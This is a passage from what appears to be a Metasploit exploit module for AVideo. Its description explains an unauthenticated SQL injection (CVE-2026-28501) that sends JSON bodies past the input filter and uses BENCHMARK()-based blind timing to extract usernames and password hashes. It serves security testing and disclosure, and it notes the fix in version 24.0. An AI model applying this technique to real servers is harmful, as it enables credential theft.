        'Description' => %q{
          AVideo <= 22.0 is vulnerable to unauthenticated SQL injection via the
          catName parameter in objects/videos.json.php (CVE-2026-28501).

          The security filter in security.php sanitizes GET/POST parameters but
          does not cover JSON request bodies. Since videos.json.php parses JSON
          input and merges it into $_REQUEST after the filter runs, a catName
          value sent as JSON bypasses sanitization entirely and reaches
          getCatSQL() unsanitized.

          This module uses time-based blind injection with BENCHMARK() to dump
          usernames and password hashes. SLEEP() is blocked by the sqlDAL
          prepared statement layer, but BENCHMARK(N*(condition), SHA1(x)) works
          because the condition is evaluated as a multiplier on the iteration
          count, avoiding the subquery restrictions imposed by prepare().

          Fixed in 24.0 (no 23.0 release exists).
